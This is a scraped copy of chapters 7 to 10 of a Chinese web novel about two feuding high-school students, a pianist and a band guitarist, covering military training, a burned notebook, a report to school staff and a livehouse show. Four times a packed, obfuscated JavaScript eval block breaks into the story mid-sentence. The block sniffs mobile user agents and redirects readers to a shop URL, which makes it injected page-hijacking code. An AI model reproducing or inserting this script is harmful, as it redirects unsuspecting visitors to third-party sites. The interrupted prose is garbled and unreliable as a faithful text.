休息没片刻功夫,教官喊集合,他们不情不愿地站回原来的位置,开始练习队列基础动作,大家都非常认真地做动作,教官正式喊口令时,邱以星忽然感觉一阵不对劲。 他的裤子正在缓慢地一点一点地往下滑! 于是在裤子即将滑落的瞬间,他猛地用手一拎。 动作之夸张之豪放之胆大,令全体同学悚然一惊。 遭了! 教官清了清嗓子,说:“还是那位同学,出列!” 邱以星提着裤子,既难为情,又愤怒,还不忘喊报告:“报告!我不是故意的,是我的裤子要掉了。” 大家一听,全都笑了起来,柴晓驰也笑了。 此教官年纪轻轻,气场却极强,大吼道:“我不要听你的解释!” 一次也就算了,竟然还敢来第二次,教官认定邱以星是故意为之,想哗众取宠,当教官多年这样的人他见得多了。 他继续吼:“全体原地休息,你去跑步,绕操场五圈!” 柴晓驰嘴唇动了动,不便干预教官惩戒,他走过来拍了拍邱以星的肩膀:“你……” “老师!”邱以星这辈子也没受过这样的委屈。 “……慢点跑,”柴晓驰说,“不着急。” 孔栩咬着嘴唇低头看自己的鞋,生怕自己笑出声。 他还没狂到当众违逆教官的程度,只好去跑步,因邱以星一人之祸全班得福,大家都很感激邱以星。 跑就跑吧,可他跑步有个非常致命的问题,是他的裤子需要时刻拎着,不然就会掉,所以姿势格外诡异,最后是半跑半走完了全程。 教官也睁一眼闭一眼让他蒙混过关。 操场上不止他们一个班,邱以星被罚跑一传十十传百就这样在整个高一年级流传,还有人偷偷拿出手机录像。 这是邱以星这辈子第一个无法否认的黑历史。 好不容易挨到中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016784|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 午,在食堂吃饭的人黑压压一片,都是高一这帮军训回来的饿死鬼,端着餐盘恨不能一口吞一只大象。 孔栩照例和闻旋、罗鸣玉她们坐一起,稍微不同的是多了个邱以星。 邱以星一个人打了八个菜,分别装在两个餐盘里,两眼冒绿光,干饭全程一句话没说过。 上午对他来说训练量太大,跑了两千米不说,该做的也一样没少,还让教官深深地将他铭记在心,稍微做得不好,就让他出列当反面教材示范给全班看。 邱以星有苦难言,此刻也没有说话的心情。 闻旋和罗鸣玉吃饭先走,孔栩也要走时,邱以星却按住孔栩的餐盘,硬把孔栩留下来陪他。 孔栩:“吃饭还要人陪,你几岁了?” 邱以星吃饱了,喝了一口紫菜蛋花汤,用纸巾擦擦嘴,慢条斯理地问孔栩:“昨天下午我去扔垃圾的时候,你在教室里干什么了?” 孔栩平静地说:“没干什么。” 邱以星:“不对。” 孔栩眼珠一转:“哪儿不对了?” 邱以星:“你动了我的裤子,是不是?” 孔栩:“我碰你裤子干什么,我才没那么变态。” 邱以星上身前倾,近距离盯着孔栩,观察他面部细微的表情,试图找出一丝端倪:“那我裤子今天怎么突然松了?我后来去厕所仔细看了看,扣子眼被人为剪了一刀,动作幅度稍微大一点,扣子就容易脱出来。” 裤子一点松紧和弹性都没有,全靠这扣子勒住腰,邱以星逼视孔栩:“我发现你真是够狠的啊,要不是我眼疾手快,我的贞操就保不住了。” 孔栩秉持一条原则,打死不承认,反正邱以星没有证据,没有证据就是污蔑。 “你给我等着,”邱以星怒气冲冲,“你会为你的所作所为后悔的!” “那你后悔了没有?”孔栩反问说。 邱以星:“我后悔什么?” “先撩者贱,你都没后悔,我有什么可后悔的?”孔栩笑着说,“让我等着?好啊,我就等着好了。” 下午天气太热,教官在班级给他们放了一部爱国主义教育片,四点多钟的时候让他们下楼踢了半小时正步。 邱以星找女同学要了根皮筋,将扣眼和扣子紧紧地绑在一起,不论做多高难度的动作裤子都不会掉。 太阳仍旧毒辣,大家踢正步踢得心不在焉,这散漫的态度令教官气不打一处来。 教官冷脸说:“我现在来找一位特别出挑的同学,给大家表演一下踢正步。” 邱以星一个头两个大,大家都默认这位出挑的同学是邱以星,邱以星赶在教官开口之前举手说:“报告!” 教官:“怎么了?” 邱以星:“我旁边这位孔栩同学特别想表现!背地里跟我说了好几回!” 孔栩压低声音,一个字一个字从牙缝里蹦出来:“邱!以!星!” 邱以星祈求:“教官您看,他都兴奋成啥样了,给一个表现机会吧!” 就这样,孔栩代替了邱以星给大家表演踢正步,邱以星幸灾乐祸的表情太过显眼,于是又被教官叫出列,和孔栩一起踢。 直到放学,筋疲力尽的两人暂时决定和解,互相针对太得不偿失,休战几天。 8. 第 8 章 休战指的是白天在学校,晚上回家两人又卯上了。 原因是柴晓驰在军训之前给他们留了三套测试题,一套比一套难,柴晓驰让他们挑着写,不要求全部写完,邱以星和孔栩当晚就把三套题写完了,回学校的时候还要假模假样地说我不会,我没写。 结果闻旋问:“第三张试卷最后一个选择题选A吗?” 邱以星和孔栩异口同声:“选C!” 两人对视一眼,又立即扭开视线,罗鸣玉啧了一声:“最烦你们这种口头上挂着‘没学’,实际上学得比谁都勤快的人!” 接下来的几天两人都本本分分,教官也不再给予邱以星特殊待遇。 高中军训并没有那么严格,娇气包们适应之后就不再抱怨,基本内容训练完之后开始走方阵,每个班都要在主席台前轮流走一遍,这个阶段的学生集体荣誉感是很强的,每个人都走出了千军万马的架势。 最后一天下午,走完方阵后,他们围成一圈自发地开始表演节目。 有人起哄让教官唱歌,教官推辞不过便唱了一首军歌,还有人胆大包天,叫柴晓驰过来给他们表演节目,柴晓驰刚要跑,就被他们班男生不由分说地拖住,拽到包围圈中,柴晓驰很无奈地说:“别为难我这个中年人了行不行?我给你们点了肯德基——” 他话没说完,全班欢呼,此起彼伏的“老班好帅”不绝于耳,柴晓驰说:“班长带几个人去帮我拿外卖,门口架子上啊。” 闻旋便叫上孔栩、罗鸣玉等几个熟人,邱以星也在其中,但大家要听邱以星弹吉他,邱以星便回音乐教室取他的吉他。 孔栩和齐大彬合抱着一个大箱子回来,原来柴晓驰压根就没点肯德基,点的是肯德基旁边的蜜雪冰城,四十六杯柠檬水,不过大家有喝的就很高兴,不在乎是不是肯德基。 这时邱以星也取来了他的吉他,坐在圈子中间,开始弹唱。 孔栩坐在邱以星正对面的位置,大概是喝了柠檬水,感觉邱以星那讨人厌的声音都带上了一股柠檬的清香。 不过也可能跟他唱的是《LemonTree》有关。 邱以星唱完后,大家都热烈地鼓起了掌,包括教官,包括孔栩。 教官说:“没想到你小子真有两把刷子。” 孔栩没说什么,他觉得邱以星的英文发音还需要再练练。 周日孔栩在家休息,练了一上午琴,午睡一小时,又开始弹琴。弹到下午四点钟,他把书翻出来开始学习,忽然想起答应过罗鸣玉借她笔记本,于是他又翻抽屉,把暑假亲手写的两大本笔记装进了书包。 初中升高中的暑假有两个半月,孔栩没有一天歇着,上午练琴下午补习,他提前把高中三年的数理化学了一遍,每门课他都认真做了笔记,他做笔记有自己的一套符号,逻辑严谨清晰,他也格外珍惜自己的笔记,每次翻看有种回顾逝去光阴的感受。 知识虽没能完全消化,达不到直接上高考考场的水平,不过至少让他现在过得毫不费力,用练琴剩下的时间去学习也事半功倍。 在其他小朋友周末跟着爸爸妈妈一起游山玩水的年纪,孔栩已经规划好自己的人生路线。他要考最顶尖的音乐学院,成为职业钢琴演奏家,如果顺利,他会弹钢琴一直弹到他的手指再也无法抬起的那天,当然这与何斯清从小给他灌输的观念密不可分。 每次他违背何斯清的想法时,都会质问自己,如果不走这条路,他还可以去干什么。 答案是无解,他没有头绪。 即使他再叛逆、与何斯清的关系再糟糕,都无法逃脱何斯清亲手给他构筑的极为坚固的人生牢笼。 高中生活与他之前的校园生活一样的乏善可陈,如果硬要说有什么不一样的地方,便是多了两个饭搭子,以及认识了一个贱人,这个贱人大大扩展了他对“人类”这个物种的认知下限。 军训结束后,孔栩决定不再与邱以星继续这种无聊幼稚的对抗游戏,他打算跟柴晓驰说明自己不适合担任劳动委员,将这个职位还给真心喜爱它的人,重新回归自己封闭且自洽的轨道。 周一上午。 孔栩把笔记本带给罗鸣玉,罗鸣玉没想到孔栩竟然记得自己随口说的话,捧着脸激动地说:“谢谢你啊,中午用我饭卡给你打饭。” “不用这么客气,”孔栩说,“你想复印或者摘抄都可以,不过记得还我,考试前我会看一眼。” 笔记本相当于孔栩的“护身符”,每次考试之前摸一下笔记本会令他感到安心。 “知道啦!”罗鸣玉珍惜地把他的笔记本放进书包,“我有几个知识点没弄懂,主要想看看你的例题,我晚上拍一下照整理整理,明天就还你。” 孔栩笑笑:“没事,我不着急。” 邱以星听到他们的对话,扭头不要脸地问:“能不能也给我看看?” 孔栩仿佛没有听见,低头整理课桌上的笔,整理完拿出一本小题狂做,开始写题。 “问你话呢,别这么小气,也借我看看。”邱以星用椅背撞了一下孔栩的桌子,孔栩的笔尖在习题册上划出一道扭曲的线条。 孔栩把自己课桌往后一拉,距离邱以星的椅子至少十厘米,邱以星梗着脖子还想往后撞,罗鸣玉拧着眉头重重一拍桌子:“邱以星,你又想扣分了是不是?” 柴晓驰有张班级积分表,主要跟行规相关联,迟到早退或者不交作业都算,谁扣分最多谁将在月底进行“负分清零”仪式,包括但不限于拍一张丑照当班级电脑屏保、在学校广播站面对全校同学念一次检讨、喜提每科习题册各一份,学期内写完……花样之多,百试不腻。 这表主要起的是一个调节气氛的作用,柴晓驰并不认为他们班有哪个不知死活的玩意会被扣那么多积分。 “罗鸣玉,能别拿着鸡毛当令箭吗?”邱以星嘴上这么说,坐姿却端正了,“他给你什么好处了?就一破笔记本有必要吗?” 罗鸣玉大着嗓门说:“你管我拿着鸡毛还是鸭毛,能管得了你的就是好毛。” 邱以星懒得跟她说话,目光又落在孔栩专注写题的脸上:“都是同学,好东西有必要藏着掖着吗?大方一点,朋友也会多一点的。” 孔栩听到这话,终于抬起了眼睛。他瞳孔的颜色很浅,看人时总显得漠然无所谓:“你是不是搞错了,我跟你不是朋友,也不想跟你做朋友。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016785|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >邱以星笑了一下,声音失去了平日总扬着调子的温度:“是吗?” 他没有等孔栩给他明确的回答,倏地转身,整整一天都没找孔栩说话。 孔栩并不在意邱以星怎么想,邱以星对他而言,不过贱人与瘟神,回避不了便无视,他不想把时间花费在他这种人身上。 他下午去找柴晓驰谈话,柴晓驰让他先把今天的值日监督到位,再让他找齐大彬问问人家的意思。 他找齐大彬的时候,邱以星正巧站在旁边,齐大彬看了看邱以星,又看了看孔栩,有些不确定地说:“呃,可以啊,我家就住附近,走两步就到,不像你住得远又没人接,你早点回去也好。” 孔栩真诚地对他说了句“谢谢”。 借口而已,齐大彬却真心为他考虑,孔栩心里产生了一点异样。 他没想太多,像往常一样放学之后留下擦黑板,桌椅刚摆齐一组,早离开的罗鸣玉却脚步匆匆满是惊惶地跑了回来,她冲到自己的座位,低头搜刮桌肚,搜了半天却一无所获。 “怎么了?”孔栩带着疑惑问道。 罗鸣玉带着哭腔说:“孔栩对不起啊,我把你的笔记本弄丢了。我刚坐上车,打算拿笔记本出来看一眼,结果没找到,以为落在教室了,可教室里也没有……” 孔栩走到她身边,安慰说:“没关系,你再回忆一下,你去过哪些地方,是不是落在那儿了?笔记本又不值钱,没人会拿的。” 罗鸣玉却肯定地说:“没有,我一直放在书包里面,不记得拿出来过。” 孔栩环顾四周一圈,有种很不好的预感,他尽量保持着镇静,问一位正在扫地的同学:“邱以星人呢?” 同学说:“哦,他说去扔个垃圾。” 孔栩一直没注意邱以星,不知道他什么时候不见了。 “垃圾?”孔栩看了一眼垃圾桶,“他没提垃圾袋吗?” 同学茫然地说:“我不知道啊。” 孔栩便对罗鸣玉说:“真没事,你先回家,晚上整理一下不会的知识点,我明天讲给你听吧。” 罗鸣玉还是非常过意不去:“唉,我真是太罪过了,早知道就不找你借了。” 孔栩已经不想再说话,他跑下楼,直奔垃圾房。 “垃圾房”顾名思义,是给装垃圾的地方盖了个顶,以免垃圾串味或者下雨天弄脏周围的地面。这里装着全校的垃圾,离教学楼有一段距离,孔栩平时缺乏锻炼,还没到地方就已经气喘吁吁,可他不敢稍作停顿,一口气冲了过去。 今天是个阴天,太阳的存在微乎其微。 眼前有一束刺目的火光,映得邱以星的脸颊微微发红。 孔栩眨了一下眼。 他多么希望自己眼花看错了,可邱以星切切实实地出现他面前。 邱以星以一种懒散而闲适的姿态蹲在地上,手里拿着一只打火机。 啪嗒一声,火焰升腾,青烟徐起,脚边散逸着几张烧了一半的纸张,空气里有一股物体燃烧之后的特殊气味。 孔栩目眦欲裂,盯着他慢条斯理将稍微厚一点的绿色皮纹纸放在火焰上炙烤。 他轻声问:“你在烧什么……” 9. 第 9 章 “你来啦。”邱以星绽开一个婴孩般纯洁热烈的笑容,又带着一丝抱怨说,“你怎么才来?你要是提早两分钟,说不定我还能给你留下笔记本的外壳。” 孔栩猛地扑上去攥住邱以星的衣领,把他从地上拔葱似的拽起,大声嘶吼:“你是不是有病?!” 邱以星拍了拍他的手背,微微一笑:“别这么激动,气坏了身体怎么办?谁叫你早上一直不理我。” 孔栩愤怒到想要杀人,他脑中闪过无数杀人的方式,砍、掐、勒、吊、刺、砸、剁、毒杀、枪决……每一种都残忍血腥,让邱以星求生不得求死不能,不然不足以消解他已冲到天灵盖的怨恨。 但也只是想一想,他已满十四周岁,不能挑战法律底线。 孔栩在脑中狠狠报复过邱以星,沸腾而尖锐的愤怒稍稍下降几个值,他松开自己的手,满心疲惫地对邱以星说:“你到底想干什么?” 邱以星想了半天,忽然没头没尾地说:“你知道吗?我们乐队里的键盘手,前几天在外面打工,不小心让机器切了食指和中指,去医院接但没接成功。以后乐队就没键盘了,你那么会弹钢琴,弹键盘应该也很厉害吧?要不要来我们气象台乐队?” 孔栩跟不上邱以星的脑回路,他怎么能够前一秒烧了他视若珍宝的笔记本,后一秒就邀请他加入他的乐队呢? “做你的春秋大梦。”孔栩满怀恶意地说,“祝你永远也找不到合适的键盘手,不对,祝你的乐队早日、立刻、马上解散。” 孔栩说完这句话,头也不回转身便走,不顾邱以星在后面喊:“喂,还剩几页,你不要了?” 孔栩走得决绝,忘我,恨不能一脚将水泥地踩一个深坑。 邱以星望着他气势汹汹的背影,揉了揉脸。 他手指在地上扒拉着笔记本的余烬,黑灰绕在他的手指上。 他在地上写了两个字:孔栩。 然后他站起身,看着这两个字,用脚一点一点地将字给蹭了。 很烦闷,邱以星说不上来是不是要下雨,导致他有一点喘不上气。 孔栩让他觉得像一块没有破绽的铜墙铁壁,他比一般人还要能装,装无辜,装无害,装文质彬彬礼貌有加,其实心眼小得要死,还特别爱报复,比谁都要虚伪。邱以星觉得他挺好玩的,偶尔拌嘴逗一逗很有意思,可这人突然不跟自己玩了。 这令他无端感到愤怒。为什么?邱以星想,我只不过是以牙还牙而已,凭什么我玩到一半,你就收手说不再奉陪?有这样的吗? 邱以星又感到一阵头痛。他两眼发红,死死按住太阳穴,低吼了一声:“别吵了!老子烦死了!你他妈就不能老老实实地睡觉吗?!” 另一边的孔栩没有回到教室,而是绕了一圈,去了学校行政大楼四楼的德育处。 德育处有一位老师还没下班,孔栩礼貌地敲过门,然后以一种冷静过后的平缓声线说:“老师,我实名举报有人在学校纵火。此人随身携带打火机,我有理由怀疑他还抽烟。地点在垃圾房,我记得对面有个监控摄像头。” 岚江市一中作为百年老校,学校包容开放,从不占用节假日给学生补课,也没有早晚自习,每天都有丰富多彩的社团课,除了周一,其他时间都可以不穿校服,不对发型做强制性要求。较之于本市其他高中,简直如在天堂。 柴晓驰不明白邱以星为什么会在学校玩打火机,甚至还是在垃圾房旁边玩,万一着火,后果不堪设想。 是日子过得太舒心闲的? 学校给他打电话,让他严肃教育,再有一次全校通报批评并退学。柴晓驰被领导骂得跟孙子似的,挂了电话,他使劲抓了一把头发,隔天一大早,他一到教室,什么都没说,便叫邱以星去他办公室一趟。 直到第一节课下课,邱以星才从柴晓驰办公室回来。他阴着一张脸,脸色极差,径直走到孔栩桌前,两手猛地一拍他的桌子,微微躬身,低压声音对他说:“孔栩,是你举报的吧?” 孔栩抬起眼。 他眼中的邱以星浑身散发着戾气,眼底青黑一片,既像是没睡好,又像是厄运缠身,令孔栩不由得扯着嘴角笑了一下:“你猜得真准。” 罗鸣玉和闻旋不明所以,还是嗅到了他们之间浓浓的火药味,一大早的不瞌睡就算了,还这么精神奕奕,简直不要太佩服。 两人剑拔弩张,下一秒似乎就要干起来了,闻旋看不过去,扯了一下邱以星的袖子:“你作业还没交,都在等你,快点的。” 邱以星站在原地看了孔栩好几秒钟,回到自己座位,开始交作业。 这时忽然有个披着长头发的女孩子站在他们班门口,往里探了探脸。 她脸色微红,小皮鞋轻轻一踢墙面,咬着嘴唇鼓足勇气,刚要叫人,就被人拍了一下肩膀:“你找谁啊?” “嗯,”她说,“邱以星。” “好勒,我来叫他。”这人热情地一手拢做喇叭状,朝邱以星喊道,“邱以星,门口有人找。” 班里的同学听到,立即传来一片起哄声。 邱以星便往门口走去,不是认识的人。 女孩看到邱以星,面色突然爆红,不敢看他似的把头一低,从口袋里拿出一封粉色的带着香味的信,不等邱以星开口,她把信往邱以星手里一塞,就迈着小碎步跑了。 目睹这一幕的同学们,起哄声变得又暧昧又讨嫌,有人打趣说:“邱以星,开学两周你抽屉装情书都要装不下了吧?要是谈恋爱了,可不能瞒着兄弟们啊。” 高中背地里谈恋爱的人不在少数,不背着人谈的也有,偷偷摸摸搞暗恋的更是一抓一大把。 青春期的好感直接而单纯,可能因为对方说过的一句话,也可能因为对方学习成绩好,或者白衬衫洗得干净,散发出好闻的味道,又或者是对方唱的歌旋律动听……小小的闪光点在小小的教室里被无限放大,多余的精力便春情萌动起来。 明着给邱以星递情书的已经好几十位,没勇气来到他面前的只会更多。邱以星比孔栩想象得还要受欢迎,他走到哪儿都有人注目,女孩子叽叽喳喳抱团在一起时,讨论的中心往往就是他。 邱以星往常收到情书会放书包里,等回到家再扔,这次他没有心情装了,情书没拆就被他撕成两半丢到了垃圾桶里。 班里打趣的声音一下弱了下来,不知道他吃错了什么药。 孔栩已在心里将他划分到“有病,药石无医”那一类。 人女孩子喜欢他有什么错呢?把气撒在情书上,实在是没有风度,也很没有教养。 一连几天,两人都没找对方茬,顺顺利利地度过了本学期的第三周。 周五下午有一场小测验,检测前两个单元的学习情况,整个下午都在考试,最后一门是数学,考完后,柴晓驰布置过作业,然后抱着试卷走了。 孔栩一边收拾书包,一边听到闻旋对邱以星说:“哎,听说你们在livehouse有场演出,什么时候?我过去捧场啊。” 邱以星说:“汇文广场,周日晚上七点。” 闻旋背起书包,扭头问罗鸣玉:“你去不去?你不是说过想看现场?” 罗鸣玉犹豫了一秒钟:“我没买票。” 邱以星:“没关系,我有票,你们直接来就行。” 罗鸣玉松了口气,邱以星不作妖的时候还是挺像个人的,她转过脸看向孔栩:“你来吗?我们晚上在外面吃啊,我还想去唱K ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016786|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 罗鸣玉觉得这两人之间并不是什么深仇大恨,有误会解开就好,没必要闹得老死不相往来,一句话都不跟对方说,如果有个机会化解两人之间的矛盾就好了。 “不来。”孔栩冷漠地说,“我要在家练琴。” 邱以星阴阳怪气地模仿孔栩的话:“人家要‘在家练琴’,可别耽误了他伟大的演奏事业。” 闻旋见孔栩一言不发地背上书包,先行离开教室,她用胳膊使劲一捅邱以星:“你应该挺想他来的吧?你小时候不是也学过钢琴,跟他应该很有共同话题才对。” 邱以星的表情刹那变得奇怪,他有些茫然地自言自语:我学过钢琴吗?我学的是吉他啊。 闻旋正搂着罗鸣玉的手臂高高兴兴地离开教室,没注意邱以星见了鬼似的表情。 邱以星去车棚拿车,心里还惦记着闻旋说的那句话。 车自从那次换过轮胎后,再也没有出过故障,他一路畅通无阻地回到家,把车停稳,锁好,进了电梯就把闻旋的话忘记了。 他哼着一首老歌,心情又变好,打开门对屋里的母亲喊道:“小尚同志,我回来啦。” 邱以星的母亲尚问兰正在厨房里忙活,她系着一条围裙,手拿锅铲对邱以星说:“我刚接到你老爸电话,他又要加班,让我们先吃饭。还有水果都没了,等会你写完作业,我们一起去超市买水果。” “行,我要吃石榴。”邱以星把书包往沙发一扔,把袖子往手臂上捋捋,洗净手,把西蓝花倒锅里焯水,尚问兰用肩膀将他挤开:“你去写作业,别捣乱。” “那一点作业我在学校就写得差不多了,你还不清楚你儿子的水平么?”邱以星皱了皱鼻子,“虾仁腌过了?别放蒜,我不喜欢大蒜。” “行行行,不放,嘴一天天叼的。”尚问兰把大蒜放回袋子,笑吟吟的,“最后一道菜,炒完就能吃饭。你去看看汤煲好了没?” 邱以星套上厚手套,揭开炖锅,锅里炖着莲藕排骨,浓郁的香气灌进邱以星的口鼻,邱以星夸张地说:“好香,妈,你这厨艺进步简直神速,都能开班了。” 尚问兰被邱以星那馋嘴的模样逗笑:“去收拾桌子,马上开饭。” 邱以星盛了两碗米饭,又拿了一只碗,摆上一双筷子,放在自己右手侧。 饭桌上,尚问兰随口问了邱以星几句这段时间在学校怎么样,有没有交到新朋友之类,邱以星拿筷子的手一顿,嬉皮笑脸起来:“当然了,谁不想跟我做朋友,周日我同学还要来看我演出呢。” “那就好,”尚问兰说,“在哪儿演出,我和你爸爸也去看看。” “还是算了吧,你不是说吵耳朵吗?”邱以星说,“又没坐的地方,人还多,你俩就别去受罪了。我回来给你俩带烤串。” 饭后,尚问兰去洗碗,将那只没人动过的碗与筷子也一并放进了洗碗池。 邱以星回到房间,反锁了房门。 他先花了半小时把学校作业写完,又拿出几本课外习题册,如果孔栩看见这一幕,会发现他用的所有课外习题册都跟他买的一模一样,估计会在心里吐槽他是个“学人精”。 邱以星没有动笔,靠着椅子望向窗外。他家住十四楼,外面看不到什么景色,除了楼还是楼,以及夹在楼宇中狭窄晦暗的天空。 他房间的墙壁上贴满了他们乐队的自印海报,还挂着他的第一把吉他。书架上有许多乐谱,以及很多他现在已经看不进去的课外书,几件赛车的模型,以及和乐队的第一张合影。 书架最里侧还有一张全家福,大家都笑得很开心,邱以星望着照片上与自己长得一模一样的男孩,垂下了眼,然后反手将全家福倒扣,塞进更里面的位置。 10. 第 10 章 闻旋与罗鸣玉来到汇文广场时,刚过七点半。 罗鸣玉没去过什么livehouse,全程紧跟着闻旋,人潮涌动,在入口处工作人员检过票,手背上被盖了个蓝色的印章,便进了现场。 “这是什么?”罗鸣玉晃晃手背上的印章,里面是个很小的卡通狮子图案,跟邱以星书包上挂的那个很像,猜测说,“这不会是他们乐队的logo吧?” 闻旋点头:“聪明。” 罗鸣玉好奇:“我以为他们logo会是云哪雨啊跟气象有关的,为什么是狮子?” 闻旋:“乐队名字是他们主唱起的,主唱叫做全小潭,缩写是QXT,在手机上打字最先跳出来气象台这三个字。狮子logo是因为鼓手彭天喜欢狮子,说小时候他爸带他去动物园看过一次狮子,觉得狮子特别凶猛威武,跟他们乐队很契合。” 罗鸣玉笑了两声:“哈哈,这小狮子跟凶猛威武有半毛钱关系吗?跟向日葵长了张人脸似的。” 场地不大,她们站得离舞台很近,周围来看演出的都是年轻的面孔,男女都有。 罗鸣玉有些惊讶:“他们歌迷这么多吗?” 闻旋说:“不止,票早就抢完了,我俩纯粹是走后门加塞的。” 罗鸣玉感慨道:“难怪邱以星平时那么拽,要是有这么多人喜欢我,我能比他还拽。” 这时全场的灯光忽然暗下来,舞台上的灯光大亮,乐队出场了。 队长兼主唱与贝斯手的全小潭,走到了台前。 全小潭顶着一头红毛,穿着一条破洞牛仔裤,裤子太过宽大,几乎拖地。 他身后是打着黑色耳钉和唇钉、染着黄毛的鼓手彭天,以及简简单单穿着一件白T的吉他手邱以星。 邱以星在这两人的衬托下像个不染尘埃的乖宝宝,他换了一把红色的电吉他,手指微屈,扣在弦上,手指上戴了几个颜色不一的戒指。 罗鸣玉明显感觉到邱以星一出现,现场的尖叫声变得更加热烈。室内开了空调,空气却仿佛因尖叫声升温,罗鸣玉觉得热,身上似乎出了汗。 “很抱歉,我们的键盘丁尧手指受了伤,所以今天没能到场。”全小潭凑近话筒,对台下的人压着声音道,“希望他早日康复,也希望大家今晚能好好享受我们的音乐。” 他的话音刚落,一阵炫技般震耳欲聋的电子吉他平地炸起,邱以星一句话没说,音乐替他表达,紧接着鼓与贝斯加入,罗鸣玉望着台上的邱以星,觉得自己的耳朵可能有些接触不良,她听不明白主唱在唱什么,眼睛只能看得到邱以星。 她第一次见到这样专注的邱以星,邱以星学习的时候也认真,相较于此刻却明显不够看。邱以星仿佛天生就会弹吉他,他的手指如此修长有力,弹奏的每一个音符都像在罗鸣玉心间跳舞,她捂着怦怦跳的心口想,好险,幸好知道他本人什么德行,不然说不定就爱上了。 她拿出手机,录了一小段视频,位于画面中心的人是邱以星,邱以星低着头,他额前柔顺的头发遮住了大半的眼睛,随着大幅度的动作而微微晃动,偶尔抬头时,看见他嘴角上扬,露出一个骄傲的不可一世的微笑。 他并非在笑,罗鸣玉知道,他长着一张天然微笑的嘴唇,面无表情的时候也显得像在笑,有着极强的迷惑性。 这哪是十六岁的邱以星,她下意识想,这是一颗正冉冉升起的新星。 视频被她传到了没有柴晓驰的班级群里,随后又转给了孔栩。 孔栩一直迟迟不进班级群,罗鸣玉也是好不容易才要到他的微信。 罗鸣玉给他发:请欣赏你死对头的精彩表演! 孔栩:? 罗鸣玉:视频新鲜出炉还冒着热气儿呢,你没来真的好可惜,现场的氛围特别好!我终于get到邱以星的魅力了,如果你来或许就不会那么讨厌他了。 孔栩:不可能。 罗鸣玉:你不要这么轻易下结论!你在哪,练完琴了没有? 孔栩:练完了,在楼下散步。 罗鸣玉二话没说给他打了一通视频电话,里面传来巨大的音乐声,罗鸣玉稳稳地举着手机,对着电话那头的孔栩大声喊道:“你的生活太无聊了,给你增添一点别的趣味!” 孔栩的声音被淹没在巨大的欢呼声与跟唱声中。孔栩自小学的就是古典音乐,虽然也听流行乐,不过能让他反复听的歌并不多,喜欢的歌手只固定那么几个。 舞台上的光并没有特别明亮,一束打在邱以星的脸上,邱以星恰好这时抬起头,不知看向哪里,他的手指仿若游蛇弹出花哨激越的音调,将全场热闹的气氛引至最高点。 罗鸣玉再看手机时,发现孔栩已经挂断视频了。 她忐忑地打字问孔栩:你生气了? 孔栩:没有,我妈叫我回家了。 罗鸣玉:哦。 孔栩回到家,将罗鸣玉发给他的视频点开看了一遍。 不得不承认,邱以星在某种程度上是学音乐的好苗子,他对节奏的掌控能力有着本能一般的直觉,比另外两人的水平要高出一截……如果不和他闹得如此僵,或许真能成为朋友也说不定。 但很快他就摇了摇头,不会,他不要对不可能发生的事做出任何期许和假设。 另一边演出结束后,气象台的成员留下来与歌迷合影,邱以星冷不丁被一个胆大的女孩一把搂住脖子,嘴唇贴在他脸颊,拍了一张姿态亲密的照片。 闻旋全程看在眼里,邱以星被人骚扰,还不好摆出臭脸,只能勉强挤出一个笑容来。 她连忙拉着罗鸣玉冲了过去,把女孩搂着他的手臂抬了下来,笑眯眯地给邱以星解围说:“拍完了没,到我们了吧?” 闻旋和罗鸣玉跟左右护法似的站在邱以星两侧,对着镜头比了个yeah,邱以星隔空对正和美女眉来眼去的全小潭说:“我先走了,你们继续玩吧。” “我靠,哪有你这样的,”全小潭立刻甩开美女去追邱以星,“不是说好了一起走吗?我还有话跟你讲,让你那两个妞一起留下玩呗。” “我得等到什么时候?”邱以星回头往他身后看了一眼,一晚上时间也不知道他留了多少个号码,每次都这样,唱完歌就开始勾搭女人,邱以星冷眼旁观也被揩了不少油,“让彭天陪你吧,时间也不早了,还有她们不是什么妞,是我同学。” “是你同学?”全小潭“嘿”了一声,笑容猥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016787|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琐地说,“一中的妹妹这么正点?我以为会读书的女孩都一副书呆子样呢。” 